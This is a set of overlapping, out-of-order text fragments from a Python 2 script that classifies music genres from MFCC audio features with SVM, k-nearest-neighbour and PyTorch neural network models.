"epoch in range(num_epochs): running_loss = 0.0 for i, data in",
"scaler = MinMaxScaler() features = scaler.fit_transform(data['features']) labels = data['labels'] X_train,",
"ACCURACY:', 1. * correct / total toc = time.time() if",
"import normalize input_path = './data/genres/' mfcc_path = './data/processed/mfcc/' have_mfccs =",
"range(num_epochs): running_loss = 0.0 for i, data in enumerate(trainloader, 0):",
"set size of 10 percent of the total data '''",
"data ''' import os import glob import sys import time",
"- Strong implies strongly (fully) superversied learning (10 classes) -",
"frame number is set to 22ms (default); that is the",
"mfccs...' mfccs = mfcc_processing.write_mfccs(input_path, mfcc_path, True) else : print 'retrieving",
"mfccs...' mfccs = mfcc_processing.read_mfccs(mfcc_path, True) data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True)",
"test_size=test_size, random_state=42) norm_data = {} norm_data['X_train'] = X_train norm_data['X_test'] =",
"F import torch.optim as optim from processing import mfcc_processing, datasets",
"boosts) - Currently, optimal benchmark results are achieved with a",
"print knn_classifier(data, test_size=0.10, weak=True, verbose=True) print mfcc_nn_model(num_epochs=10, test_size=0.10, weak=True, verbose=True)",
"__name__ == '__main__': mfccs = None data = None if",
"- Weak implies weakly supervised learning (4 classes) - Strong",
"(default); that is the \"sweet spot\" based on dsp literature",
"if verbose: print '\\ttime taken for SVM classifier to run",
"svm_classifier(data, test_size=0.10, weak=True, verbose=True) print knn_classifier(data, test_size=0.10, weak=True, verbose=True) print",
"these machine learning models are heavily data-driven (i.e. feed more",
"# zero the parameter gradients optimizer.zero_grad() # forward + backward",
"1, i + 1, running_loss / 2000)) running_loss = 0.0",
"y_test) toc = time.time() if verbose: print '\\ttime taken for",
"with a test set size of 10 percent of the",
"parameter gradients optimizer.zero_grad() # forward + backward + optimize outputs",
"= nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=0.1, momentum=0.8) for epoch in",
"data-driven (i.e. feed more data for more performance boosts) -",
"models.MfccNet() trainloader, testloader = datasets.train_test_dataset_split(dataset) criterion = nn.CrossEntropyLoss() optimizer =",
"/ total toc = time.time() if verbose: print '\\ttime taken",
"'retrieving mfccs...' mfccs = mfcc_processing.read_mfccs(mfcc_path, True) data = mfcc_processing.featurize_data(mfccs, weak=True,",
"y_train, y_test = train_test_split(features, labels, test_size=test_size, random_state=42) norm_data = {}",
"spot\" based on dsp literature - sampling rate is 16kHz",
"are achieved with a test set size of 10 percent",
"SVC(C=10000, kernel='poly', degree=6, tol=0.01, max_iter=5000, decision_function_shape='ovr') svm_clf.fit(X_train, y_train) print 'TEST",
"X_test = norm_data['X_test'] y_train = norm_data['y_train'] y_test = norm_data['y_test'] tic",
"correct / total toc = time.time() if verbose: print '\\ttime",
"Mfcc NN to run is', toc-tic return if __name__ ==",
"import torch import torch.nn as nn import torch.nn.functional as F",
"in range(num_epochs): running_loss = 0.0 for i, data in enumerate(trainloader,",
"'./data/processed/mfcc/' have_mfccs = True def normalize_and_split(data, test_size, verbose=False): scaler =",
"import mfcc_processing, datasets from deep_models import models from sklearn.model_selection import",
"'\\ttime taken for SVM classifier to run is', toc-tic return",
"results are achieved with a test set size of 10",
"= datasets.train_test_dataset_split(dataset) criterion = nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=0.1, momentum=0.8)",
"weak=True, verbose=True) print mfcc_nn_model(num_epochs=10, test_size=0.10, weak=True, verbose=True) else: data =",
"= scaler.fit_transform(data['features']) labels = data['labels'] X_train, X_test, y_train, y_test =",
"= models.MfccNet() trainloader, testloader = datasets.train_test_dataset_split(dataset) criterion = nn.CrossEntropyLoss() optimizer",
"norm_data['y_test'] tic = time.time() knn_clf = KNeighborsClassifier(n_neighbors=3, weights='distance', p=1, n_jobs=-1)",
"mini-batches print('[%d, %5d] loss: %.3f' % (epoch + 1, i",
"that is the \"sweet spot\" based on dsp literature -",
"test_size=0.10, weak=True, verbose=True) else: data = mfcc_processing.featurize_data(mfccs, weak=False, verbose=True) print",
"kernel='poly', degree=6, tol=0.01, max_iter=5000, decision_function_shape='ovr') svm_clf.fit(X_train, y_train) print 'TEST ACCURACY:',",
"norm_data['X_test'] = X_test norm_data['y_train'] = y_train norm_data['y_test'] = y_test if",
"torch.max(outputs.data, 1) total += labels.size(0) correct += (predicted == labels).sum().item()",
"total toc = time.time() if verbose: print '\\ttime taken for",
"features = scaler.fit_transform(data['features']) labels = data['labels'] X_train, X_test, y_train, y_test",
"based on dsp literature - sampling rate is 16kHz (for",
"5 == 0: # print every 2000 mini-batches print('[%d, %5d]",
"y_test if verbose: print 'Training sample feature size:', X_train.shape print",
"is the \"sweet spot\" based on dsp literature - sampling",
"* correct / total toc = time.time() if verbose: print",
"NN to run is', toc-tic return if __name__ == '__main__':",
"mfcc_nn_model(num_epochs, test_size, weak=False, verbose=False): tic = time.time() tensorize = datasets.ToTensor()",
"more data for more performance boosts) - Currently, optimal benchmark",
"10 percent of the total data ''' import os import",
"= None if weak: dataset = datasets.MfccDatasetWeak(mfcc_path, tensorize) net =",
"weak=False, verbose=True) print knn_classifier(data, test_size=0.10, weak=False, verbose=True) print mfcc_nn_model(num_epochs=10, test_size=0.10,",
"print statistics running_loss += loss.item() if verbose and i %",
"data = None if not have_mfccs: have_mfccs = True print",
"weak=False, verbose=False): norm_data = normalize_and_split(data, test_size, verbose) X_train = norm_data['X_train']",
"if verbose and i % 5 == 0: # print",
"smaller, which implies that a lot of these machine learning",
"correct += (predicted == labels).sum().item() print 'TEST ACCURACY:', 1. *",
"return def knn_classifier(data, test_size, weak=False, verbose=False): norm_data = normalize_and_split(data, test_size,",
"gets smaller, which implies that a lot of these machine",
"import time import warnings warnings.filterwarnings(\"ignore\") import numpy as np import",
"_, predicted = torch.max(outputs.data, 1) total += labels.size(0) correct +=",
"KNeighborsClassifier(n_neighbors=3, weights='distance', p=1, n_jobs=-1) if weak \\ else KNeighborsClassifier(n_neighbors=8, weights='distance',",
"superversied learning (10 classes) - frame number is set to",
"'Test sample label size:', y_test.shape return norm_data def svm_classifier(data, test_size,",
"import torch.nn as nn import torch.nn.functional as F import torch.optim",
"labels = data # zero the parameter gradients optimizer.zero_grad() #",
"svm_classifier(data, test_size, weak=False, verbose=False): norm_data = normalize_and_split(data, test_size, verbose) X_train",
"+ backward + optimize outputs = net(inputs) loss = criterion(outputs,",
"from deep_models import models from sklearn.model_selection import train_test_split from sklearn.svm",
"toc-tic return if __name__ == '__main__': mfccs = None data",
"datasets from deep_models import models from sklearn.model_selection import train_test_split from",
"data in testloader: inputs, labels = data outputs = net(inputs)",
"else : print 'retrieving mfccs...' mfccs = mfcc_processing.read_mfccs(mfcc_path, True) data",
"== labels).sum().item() print 'TEST ACCURACY:', 1. * correct / total",
"testloader: inputs, labels = data outputs = net(inputs) _, predicted",
"normalize_and_split(data, test_size, verbose=False): scaler = MinMaxScaler() features = scaler.fit_transform(data['features']) labels",
"if verbose: print '\\ttime taken for KNN classifier to run",
"= norm_data['y_train'] y_test = norm_data['y_test'] tic = time.time() knn_clf =",
"- Accuracy increases as the test set gets smaller, which",
"norm_data['y_test'] tic = time.time() svm_clf = SVC(C=10000, kernel='poly', degree=3, tol=0.0001,",
"import KNeighborsClassifier from sklearn.cluster import KMeans from sklearn.preprocessing import MinMaxScaler",
": print 'retrieving mfccs...' mfccs = mfcc_processing.read_mfccs(mfcc_path, True) data =",
"of each track) - Accuracy increases as the test set",
"norm_data def svm_classifier(data, test_size, weak=False, verbose=False): norm_data = normalize_and_split(data, test_size,",
"mfccs = None data = None if not have_mfccs: have_mfccs",
"None data = None if not have_mfccs: have_mfccs = True",
"svm_clf = SVC(C=10000, kernel='poly', degree=3, tol=0.0001, max_iter=5000, decision_function_shape='ovr') if weak",
"optimal benchmark results are achieved with a test set size",
"tic = time.time() tensorize = datasets.ToTensor() dataset = None net",
"sample feature size:', X_train.shape print 'Training sample label size:', y_train.shape",
"max_iter=5000, decision_function_shape='ovr') if weak \\ else SVC(C=10000, kernel='poly', degree=6, tol=0.01,",
"taken for SVM classifier to run is', toc-tic return def",
"degree=6, tol=0.01, max_iter=5000, decision_function_shape='ovr') svm_clf.fit(X_train, y_train) print 'TEST ACCURACY:', svm_clf.score(X_test,",
"knn_clf = KNeighborsClassifier(n_neighbors=3, weights='distance', p=1, n_jobs=-1) if weak \\ else",
"sklearn.neighbors import KNeighborsClassifier from sklearn.cluster import KMeans from sklearn.preprocessing import",
"ACCURACY:', svm_clf.score(X_test, y_test) toc = time.time() if verbose: print '\\ttime",
"= norm_data['y_test'] tic = time.time() svm_clf = SVC(C=10000, kernel='poly', degree=3,",
"classifier to run is', toc-tic return def mfcc_nn_model(num_epochs, test_size, weak=False,",
"from sklearn.svm import SVC from sklearn.neighbors import KNeighborsClassifier from sklearn.cluster",
"True print 'calculating mfccs...' mfccs = mfcc_processing.write_mfccs(input_path, mfcc_path, True) else",
"2000)) running_loss = 0.0 correct = 0 total = 0",
"data outputs = net(inputs) _, predicted = torch.max(outputs.data, 1) total",
"MinMaxScaler() features = scaler.fit_transform(data['features']) labels = data['labels'] X_train, X_test, y_train,",
"+ optimize outputs = net(inputs) loss = criterion(outputs, labels) loss.backward",
"SVM classifier to run is', toc-tic return def knn_classifier(data, test_size,",
"if __name__ == '__main__': mfccs = None data = None",
"test set gets smaller, which implies that a lot of",
"norm_data['y_test'] = y_test if verbose: print 'Training sample feature size:',",
"= criterion(outputs, labels) loss.backward optimizer.step() # print statistics running_loss +=",
"== 0: # print every 2000 mini-batches print('[%d, %5d] loss:",
"a test set size of 10 percent of the total",
"norm_data['y_train'] y_test = norm_data['y_test'] tic = time.time() svm_clf = SVC(C=10000,",
"track) - Accuracy increases as the test set gets smaller,",
"feature size:', X_test.shape print 'Test sample label size:', y_test.shape return",
"def svm_classifier(data, test_size, weak=False, verbose=False): norm_data = normalize_and_split(data, test_size, verbose)",
"= net(inputs) loss = criterion(outputs, labels) loss.backward optimizer.step() # print",
"= datasets.MfccDatasetWeak(mfcc_path, tensorize) net = models.MfccNetWeak() else: dataset = datasets.MfccDataset(mfcc_path,",
"tensorize = datasets.ToTensor() dataset = None net = None if",
"knn_classifier(data, test_size, weak=False, verbose=False): norm_data = normalize_and_split(data, test_size, verbose) X_train",
"datasets.train_test_dataset_split(dataset) criterion = nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=0.1, momentum=0.8) for",
"22ms (default); that is the \"sweet spot\" based on dsp",
"scaler.fit_transform(data['features']) labels = data['labels'] X_train, X_test, y_train, y_test = train_test_split(features,",
"y_train norm_data['y_test'] = y_test if verbose: print 'Training sample feature",
"total = 0 with torch.no_grad(): for data in testloader: inputs,",
"toc = time.time() if verbose: print '\\ttime taken for SVM",
"for Mfcc NN to run is', toc-tic return if __name__",
"X_train.shape print 'Training sample label size:', y_train.shape print 'Test sample",
"{} norm_data['X_train'] = X_train norm_data['X_test'] = X_test norm_data['y_train'] = y_train",
"(4 classes) - Strong implies strongly (fully) superversied learning (10",
"outputs = net(inputs) loss = criterion(outputs, labels) loss.backward optimizer.step() #",
"labels, test_size=test_size, random_state=42) norm_data = {} norm_data['X_train'] = X_train norm_data['X_test']",
"sample label size:', y_train.shape print 'Test sample feature size:', X_test.shape",
"size of 10 percent of the total data ''' import",
"toc = time.time() if verbose: print '\\ttime taken for KNN",
"= optim.SGD(net.parameters(), lr=0.1, momentum=0.8) for epoch in range(num_epochs): running_loss =",
"= X_train norm_data['X_test'] = X_test norm_data['y_train'] = y_train norm_data['y_test'] =",
"+= loss.item() if verbose and i % 5 == 0:",
"weak=True, verbose=True) print knn_classifier(data, test_size=0.10, weak=True, verbose=True) print mfcc_nn_model(num_epochs=10, test_size=0.10,",
"print 'Test sample feature size:', X_test.shape print 'Test sample label",
"benchmark results are achieved with a test set size of",
"labels).sum().item() print 'TEST ACCURACY:', 1. * correct / total toc",
"verbose: print '\\ttime taken for SVM classifier to run is',",
"if verbose: print '\\ttime taken for Mfcc NN to run",
"True) else : print 'retrieving mfccs...' mfccs = mfcc_processing.read_mfccs(mfcc_path, True)",
"= KNeighborsClassifier(n_neighbors=3, weights='distance', p=1, n_jobs=-1) if weak \\ else KNeighborsClassifier(n_neighbors=8,",
"(epoch + 1, i + 1, running_loss / 2000)) running_loss",
"models.MfccNetWeak() else: dataset = datasets.MfccDataset(mfcc_path, tensorize) net = models.MfccNet() trainloader,",
"heavily data-driven (i.e. feed more data for more performance boosts)",
"ACCURACY:', knn_clf.score(X_test, y_test) toc = time.time() if verbose: print '\\ttime",
"if weak \\ else KNeighborsClassifier(n_neighbors=8, weights='distance', p=1, n_jobs=-1) knn_clf.fit(X_train, y_train)",
"lot of these machine learning models are heavily data-driven (i.e.",
"= y_test if verbose: print 'Training sample feature size:', X_train.shape",
"taken for KNN classifier to run is', toc-tic return def",
"verbose=False): tic = time.time() tensorize = datasets.ToTensor() dataset = None",
"testloader = datasets.train_test_dataset_split(dataset) criterion = nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=0.1,",
"if not have_mfccs: have_mfccs = True print 'calculating mfccs...' mfccs",
"sample feature size:', X_test.shape print 'Test sample label size:', y_test.shape",
"== '__main__': mfccs = None data = None if not",
"loss.item() if verbose and i % 5 == 0: #",
"torch.optim as optim from processing import mfcc_processing, datasets from deep_models",
"# forward + backward + optimize outputs = net(inputs) loss",
"weak=False, verbose=True) print svm_classifier(data, test_size=0.10, weak=False, verbose=True) print knn_classifier(data, test_size=0.10,",
"0: # print every 2000 mini-batches print('[%d, %5d] loss: %.3f'",
"mfcc_processing.read_mfccs(mfcc_path, True) data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print weak =",
"running_loss / 2000)) running_loss = 0.0 correct = 0 total",
"%.3f' % (epoch + 1, i + 1, running_loss /",
"machine learning models are heavily data-driven (i.e. feed more data",
"test_size=0.10, weak=True, verbose=True) print mfcc_nn_model(num_epochs=10, test_size=0.10, weak=True, verbose=True) else: data",
"\\ else SVC(C=10000, kernel='poly', degree=6, tol=0.01, max_iter=5000, decision_function_shape='ovr') svm_clf.fit(X_train, y_train)",
"models are heavily data-driven (i.e. feed more data for more",
"= 0 with torch.no_grad(): for data in testloader: inputs, labels",
"tic = time.time() knn_clf = KNeighborsClassifier(n_neighbors=3, weights='distance', p=1, n_jobs=-1) if",
"increases as the test set gets smaller, which implies that",
"loss = criterion(outputs, labels) loss.backward optimizer.step() # print statistics running_loss",
"svm_clf.fit(X_train, y_train) print 'TEST ACCURACY:', svm_clf.score(X_test, y_test) toc = time.time()",
"implies strongly (fully) superversied learning (10 classes) - frame number",
"= time.time() svm_clf = SVC(C=10000, kernel='poly', degree=3, tol=0.0001, max_iter=5000, decision_function_shape='ovr')",
"literature - sampling rate is 16kHz (for the MFCC of",
"16kHz (for the MFCC of each track) - Accuracy increases",
"torch.nn.functional as F import torch.optim as optim from processing import",
"max_iter=5000, decision_function_shape='ovr') svm_clf.fit(X_train, y_train) print 'TEST ACCURACY:', svm_clf.score(X_test, y_test) toc",
"for KNN classifier to run is', toc-tic return def mfcc_nn_model(num_epochs,",
"verbose=True) print mfcc_nn_model(num_epochs=10, test_size=0.10, weak=True, verbose=True) else: data = mfcc_processing.featurize_data(mfccs,",
"if weak: data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print svm_classifier(data, test_size=0.10,",
"i + 1, running_loss / 2000)) running_loss = 0.0 correct",
"= data # zero the parameter gradients optimizer.zero_grad() # forward",
"verbose: print '\\ttime taken for KNN classifier to run is',",
"forward + backward + optimize outputs = net(inputs) loss =",
"'Test sample feature size:', X_test.shape print 'Test sample label size:',",
"learning models are heavily data-driven (i.e. feed more data for",
"= models.MfccNetWeak() else: dataset = datasets.MfccDataset(mfcc_path, tensorize) net = models.MfccNet()",
"print 'TEST ACCURACY:', svm_clf.score(X_test, y_test) toc = time.time() if verbose:",
"python ''' Notes: - Weak implies weakly supervised learning (4",
"+ 1, i + 1, running_loss / 2000)) running_loss =",
"on dsp literature - sampling rate is 16kHz (for the",
"knn_clf.score(X_test, y_test) toc = time.time() if verbose: print '\\ttime taken",
"verbose=True) print knn_classifier(data, test_size=0.10, weak=True, verbose=True) print mfcc_nn_model(num_epochs=10, test_size=0.10, weak=True,",
"= X_test norm_data['y_train'] = y_train norm_data['y_test'] = y_test if verbose:",
"test_size=0.10, weak=False, verbose=True) print knn_classifier(data, test_size=0.10, weak=False, verbose=True) print mfcc_nn_model(num_epochs=10,",
"have_mfccs = True def normalize_and_split(data, test_size, verbose=False): scaler = MinMaxScaler()",
"sklearn.preprocessing import MinMaxScaler from sklearn.preprocessing import normalize input_path = './data/genres/'",
"to run is', toc-tic return def mfcc_nn_model(num_epochs, test_size, weak=False, verbose=False):",
"= norm_data['y_test'] tic = time.time() knn_clf = KNeighborsClassifier(n_neighbors=3, weights='distance', p=1,",
"sklearn.svm import SVC from sklearn.neighbors import KNeighborsClassifier from sklearn.cluster import",
"net = models.MfccNet() trainloader, testloader = datasets.train_test_dataset_split(dataset) criterion = nn.CrossEntropyLoss()",
"have_mfccs: have_mfccs = True print 'calculating mfccs...' mfccs = mfcc_processing.write_mfccs(input_path,",
"set gets smaller, which implies that a lot of these",
"norm_data = {} norm_data['X_train'] = X_train norm_data['X_test'] = X_test norm_data['y_train']",
"print weak = False if weak: data = mfcc_processing.featurize_data(mfccs, weak=True,",
"'Training sample feature size:', X_train.shape print 'Training sample label size:',",
"= {} norm_data['X_train'] = X_train norm_data['X_test'] = X_test norm_data['y_train'] =",
"None net = None if weak: dataset = datasets.MfccDatasetWeak(mfcc_path, tensorize)",
"svm_classifier(data, test_size=0.10, weak=False, verbose=True) print knn_classifier(data, test_size=0.10, weak=False, verbose=True) print",
"verbose=True) else: data = mfcc_processing.featurize_data(mfccs, weak=False, verbose=True) print svm_classifier(data, test_size=0.10,",
"'TEST ACCURACY:', svm_clf.score(X_test, y_test) toc = time.time() if verbose: print",
"statistics running_loss += loss.item() if verbose and i % 5",
"size:', y_test.shape return norm_data def svm_classifier(data, test_size, weak=False, verbose=False): norm_data",
"= data outputs = net(inputs) _, predicted = torch.max(outputs.data, 1)",
"tol=0.01, max_iter=5000, decision_function_shape='ovr') svm_clf.fit(X_train, y_train) print 'TEST ACCURACY:', svm_clf.score(X_test, y_test)",
"weak \\ else KNeighborsClassifier(n_neighbors=8, weights='distance', p=1, n_jobs=-1) knn_clf.fit(X_train, y_train) print",
"toc-tic return def mfcc_nn_model(num_epochs, test_size, weak=False, verbose=False): tic = time.time()",
"run is', toc-tic return if __name__ == '__main__': mfccs =",
"''' Notes: - Weak implies weakly supervised learning (4 classes)",
"weak = False if weak: data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True)",
"sklearn.preprocessing import normalize input_path = './data/genres/' mfcc_path = './data/processed/mfcc/' have_mfccs",
"loss: %.3f' % (epoch + 1, i + 1, running_loss",
"import numpy as np import torch import torch.nn as nn",
"datasets.MfccDataset(mfcc_path, tensorize) net = models.MfccNet() trainloader, testloader = datasets.train_test_dataset_split(dataset) criterion",
"total data ''' import os import glob import sys import",
"deep_models import models from sklearn.model_selection import train_test_split from sklearn.svm import",
"data for more performance boosts) - Currently, optimal benchmark results",
"y_test = norm_data['y_test'] tic = time.time() svm_clf = SVC(C=10000, kernel='poly',",
"from sklearn.neighbors import KNeighborsClassifier from sklearn.cluster import KMeans from sklearn.preprocessing",
"trainloader, testloader = datasets.train_test_dataset_split(dataset) criterion = nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(),",
"'\\ttime taken for Mfcc NN to run is', toc-tic return",
"mfccs = mfcc_processing.read_mfccs(mfcc_path, True) data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print",
"correct = 0 total = 0 with torch.no_grad(): for data",
"0.0 for i, data in enumerate(trainloader, 0): inputs, labels =",
"and i % 5 == 0: # print every 2000",
"- sampling rate is 16kHz (for the MFCC of each",
"is 16kHz (for the MFCC of each track) - Accuracy",
"= datasets.MfccDataset(mfcc_path, tensorize) net = models.MfccNet() trainloader, testloader = datasets.train_test_dataset_split(dataset)",
"if verbose: print 'Training sample feature size:', X_train.shape print 'Training",
"a lot of these machine learning models are heavily data-driven",
"labels) loss.backward optimizer.step() # print statistics running_loss += loss.item() if",
"def mfcc_nn_model(num_epochs, test_size, weak=False, verbose=False): tic = time.time() tensorize =",
"running_loss += loss.item() if verbose and i % 5 ==",
"= True print 'calculating mfccs...' mfccs = mfcc_processing.write_mfccs(input_path, mfcc_path, True)",
"optim from processing import mfcc_processing, datasets from deep_models import models",
"toc-tic return def knn_classifier(data, test_size, weak=False, verbose=False): norm_data = normalize_and_split(data,",
"classes) - Strong implies strongly (fully) superversied learning (10 classes)",
"set to 22ms (default); that is the \"sweet spot\" based",
"= MinMaxScaler() features = scaler.fit_transform(data['features']) labels = data['labels'] X_train, X_test,",
"data in enumerate(trainloader, 0): inputs, labels = data # zero",
"= y_train norm_data['y_test'] = y_test if verbose: print 'Training sample",
"implies weakly supervised learning (4 classes) - Strong implies strongly",
"weights='distance', p=1, n_jobs=-1) if weak \\ else KNeighborsClassifier(n_neighbors=8, weights='distance', p=1,",
"data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print weak = False if",
"Strong implies strongly (fully) superversied learning (10 classes) - frame",
"as optim from processing import mfcc_processing, datasets from deep_models import",
"test set size of 10 percent of the total data",
"for data in testloader: inputs, labels = data outputs =",
"print 'TEST ACCURACY:', 1. * correct / total toc =",
"labels = data['labels'] X_train, X_test, y_train, y_test = train_test_split(features, labels,",
"import glob import sys import time import warnings warnings.filterwarnings(\"ignore\") import",
"net(inputs) loss = criterion(outputs, labels) loss.backward optimizer.step() # print statistics",
"classifier to run is', toc-tic return def knn_classifier(data, test_size, weak=False,",
"torch.no_grad(): for data in testloader: inputs, labels = data outputs",
"MFCC of each track) - Accuracy increases as the test",
"Weak implies weakly supervised learning (4 classes) - Strong implies",
"dsp literature - sampling rate is 16kHz (for the MFCC",
"of 10 percent of the total data ''' import os",
"mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print weak = False if weak: data",
"in testloader: inputs, labels = data outputs = net(inputs) _,",
"gradients optimizer.zero_grad() # forward + backward + optimize outputs =",
"X_train norm_data['X_test'] = X_test norm_data['y_train'] = y_train norm_data['y_test'] = y_test",
"MinMaxScaler from sklearn.preprocessing import normalize input_path = './data/genres/' mfcc_path =",
"net = models.MfccNetWeak() else: dataset = datasets.MfccDataset(mfcc_path, tensorize) net =",
"print svm_classifier(data, test_size=0.10, weak=False, verbose=True) print knn_classifier(data, test_size=0.10, weak=False, verbose=True)",
"svm_clf.score(X_test, y_test) toc = time.time() if verbose: print '\\ttime taken",
"kernel='poly', degree=3, tol=0.0001, max_iter=5000, decision_function_shape='ovr') if weak \\ else SVC(C=10000,",
"return def mfcc_nn_model(num_epochs, test_size, weak=False, verbose=False): tic = time.time() tensorize",
"test_size, weak=False, verbose=False): norm_data = normalize_and_split(data, test_size, verbose) X_train =",
"sampling rate is 16kHz (for the MFCC of each track)",
"for more performance boosts) - Currently, optimal benchmark results are",
"net = None if weak: dataset = datasets.MfccDatasetWeak(mfcc_path, tensorize) net",
"#!/usr/bin/env python ''' Notes: - Weak implies weakly supervised learning",
"= 0 total = 0 with torch.no_grad(): for data in",
"(predicted == labels).sum().item() print 'TEST ACCURACY:', 1. * correct /",
"of these machine learning models are heavily data-driven (i.e. feed",
"train_test_split from sklearn.svm import SVC from sklearn.neighbors import KNeighborsClassifier from",
"size:', X_train.shape print 'Training sample label size:', y_train.shape print 'Test",
"sys import time import warnings warnings.filterwarnings(\"ignore\") import numpy as np",
"normalize input_path = './data/genres/' mfcc_path = './data/processed/mfcc/' have_mfccs = True",
"as the test set gets smaller, which implies that a",
"y_train = norm_data['y_train'] y_test = norm_data['y_test'] tic = time.time() knn_clf",
"Currently, optimal benchmark results are achieved with a test set",
"p=1, n_jobs=-1) knn_clf.fit(X_train, y_train) print 'TEST ACCURACY:', knn_clf.score(X_test, y_test) toc",
"1) total += labels.size(0) correct += (predicted == labels).sum().item() print",
"zero the parameter gradients optimizer.zero_grad() # forward + backward +",
"criterion = nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=0.1, momentum=0.8) for epoch",
"print knn_classifier(data, test_size=0.10, weak=False, verbose=True) print mfcc_nn_model(num_epochs=10, test_size=0.10, weak=False, verbose=True)",
"knn_clf.fit(X_train, y_train) print 'TEST ACCURACY:', knn_clf.score(X_test, y_test) toc = time.time()",
"verbose: print 'Training sample feature size:', X_train.shape print 'Training sample",
"torch.nn as nn import torch.nn.functional as F import torch.optim as",
"dataset = None net = None if weak: dataset =",
"y_test = norm_data['y_test'] tic = time.time() knn_clf = KNeighborsClassifier(n_neighbors=3, weights='distance',",
"<reponame>mafshar/sub-puppo<filename>src/main.py #!/usr/bin/env python ''' Notes: - Weak implies weakly supervised",
"= mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print weak = False if weak:",
"False if weak: data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print svm_classifier(data,",
"knn_classifier(data, test_size=0.10, weak=True, verbose=True) print mfcc_nn_model(num_epochs=10, test_size=0.10, weak=True, verbose=True) else:",
"dataset = datasets.MfccDatasetWeak(mfcc_path, tensorize) net = models.MfccNetWeak() else: dataset =",
"= mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print svm_classifier(data, test_size=0.10, weak=True, verbose=True) print",
"backward + optimize outputs = net(inputs) loss = criterion(outputs, labels)",
"print 'TEST ACCURACY:', knn_clf.score(X_test, y_test) toc = time.time() if verbose:",
"verbose=True) print knn_classifier(data, test_size=0.10, weak=False, verbose=True) print mfcc_nn_model(num_epochs=10, test_size=0.10, weak=False,",
"norm_data = normalize_and_split(data, test_size, verbose) X_train = norm_data['X_train'] X_test =",
"/ 2000)) running_loss = 0.0 correct = 0 total =",
"time.time() if verbose: print '\\ttime taken for KNN classifier to",
"SVC from sklearn.neighbors import KNeighborsClassifier from sklearn.cluster import KMeans from",
"test_size, verbose=False): scaler = MinMaxScaler() features = scaler.fit_transform(data['features']) labels =",
"each track) - Accuracy increases as the test set gets",
"loss.backward optimizer.step() # print statistics running_loss += loss.item() if verbose",
"the test set gets smaller, which implies that a lot",
"from processing import mfcc_processing, datasets from deep_models import models from",
"data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print svm_classifier(data, test_size=0.10, weak=True, verbose=True)",
"import SVC from sklearn.neighbors import KNeighborsClassifier from sklearn.cluster import KMeans",
"that a lot of these machine learning models are heavily",
"= time.time() if verbose: print '\\ttime taken for KNN classifier",
"= net(inputs) _, predicted = torch.max(outputs.data, 1) total += labels.size(0)",
"time.time() if verbose: print '\\ttime taken for Mfcc NN to",
"predicted = torch.max(outputs.data, 1) total += labels.size(0) correct += (predicted",
"norm_data['y_train'] y_test = norm_data['y_test'] tic = time.time() knn_clf = KNeighborsClassifier(n_neighbors=3,",
"is set to 22ms (default); that is the \"sweet spot\"",
"= None if not have_mfccs: have_mfccs = True print 'calculating",
"labels.size(0) correct += (predicted == labels).sum().item() print 'TEST ACCURACY:', 1.",
"verbose=True) print svm_classifier(data, test_size=0.10, weak=True, verbose=True) print knn_classifier(data, test_size=0.10, weak=True,",
"verbose=True) print weak = False if weak: data = mfcc_processing.featurize_data(mfccs,",
"mfcc_path = './data/processed/mfcc/' have_mfccs = True def normalize_and_split(data, test_size, verbose=False):",
"is', toc-tic return def knn_classifier(data, test_size, weak=False, verbose=False): norm_data =",
"enumerate(trainloader, 0): inputs, labels = data # zero the parameter",
"mfccs = mfcc_processing.write_mfccs(input_path, mfcc_path, True) else : print 'retrieving mfccs...'",
"2000 mini-batches print('[%d, %5d] loss: %.3f' % (epoch + 1,",
"print '\\ttime taken for Mfcc NN to run is', toc-tic",
"inputs, labels = data outputs = net(inputs) _, predicted =",
"import os import glob import sys import time import warnings",
"+ 1, running_loss / 2000)) running_loss = 0.0 correct =",
"norm_data['X_test'] y_train = norm_data['y_train'] y_test = norm_data['y_test'] tic = time.time()",
"have_mfccs = True print 'calculating mfccs...' mfccs = mfcc_processing.write_mfccs(input_path, mfcc_path,",
"decision_function_shape='ovr') svm_clf.fit(X_train, y_train) print 'TEST ACCURACY:', svm_clf.score(X_test, y_test) toc =",
"warnings.filterwarnings(\"ignore\") import numpy as np import torch import torch.nn as",
"size:', y_train.shape print 'Test sample feature size:', X_test.shape print 'Test",
"achieved with a test set size of 10 percent of",
"% 5 == 0: # print every 2000 mini-batches print('[%d,",
"label size:', y_train.shape print 'Test sample feature size:', X_test.shape print",
"sample label size:', y_test.shape return norm_data def svm_classifier(data, test_size, weak=False,",
"as F import torch.optim as optim from processing import mfcc_processing,",
"optimizer = optim.SGD(net.parameters(), lr=0.1, momentum=0.8) for epoch in range(num_epochs): running_loss",
"= None net = None if weak: dataset = datasets.MfccDatasetWeak(mfcc_path,",
"= True def normalize_and_split(data, test_size, verbose=False): scaler = MinMaxScaler() features",
"data = mfcc_processing.featurize_data(mfccs, weak=False, verbose=True) print svm_classifier(data, test_size=0.10, weak=False, verbose=True)",
"X_test, y_train, y_test = train_test_split(features, labels, test_size=test_size, random_state=42) norm_data =",
"(10 classes) - frame number is set to 22ms (default);",
"norm_data['y_train'] = y_train norm_data['y_test'] = y_test if verbose: print 'Training",
"= time.time() if verbose: print '\\ttime taken for Mfcc NN",
"X_train = norm_data['X_train'] X_test = norm_data['X_test'] y_train = norm_data['y_train'] y_test",
"time.time() tensorize = datasets.ToTensor() dataset = None net = None",
"percent of the total data ''' import os import glob",
"tol=0.0001, max_iter=5000, decision_function_shape='ovr') if weak \\ else SVC(C=10000, kernel='poly', degree=6,",
"the MFCC of each track) - Accuracy increases as the",
